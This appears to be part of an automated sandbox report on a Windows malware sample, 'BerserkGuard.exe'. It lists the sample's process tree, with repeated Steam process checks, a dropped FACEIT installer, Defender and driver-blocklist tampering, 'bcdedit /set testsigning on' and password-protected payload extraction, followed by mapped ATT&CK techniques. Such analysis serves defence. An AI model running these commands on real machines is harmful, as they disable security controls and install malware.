        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3356
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4604
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3968
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3792
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2060
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4688
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1484
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3512
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2256
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:64
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:940
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4208
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3720
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2964
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:3080
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1436
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5004
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1652
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1220
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1720
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4552
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1844
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2620
  - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
      "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4956
    - - C:\Users\Admin\AppData\Local\Temp\is-3R3BVLGBA4.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3R3BVLGBA4.tmp\FACEITInstaller_64.tmp" /SL5="$C0278,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3244

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
PID:3044

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure ExeGuardSvc
  2⤵
  - Launches sc.exe
  PID:1904

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2700
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4404
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4392

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1440

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3420
- C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
  "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_driver64.exe" "C:\Program Files\WindowsOptions"
  2⤵
  - Executes dropped EXE
  PID:3960
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3104

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modify Registry: Disable Windows Driver Blocklist
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Loads dropped DLL
PID:1960
- C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
  "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_driver64.exe" "C:\Program Files\WindowsOptions"
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery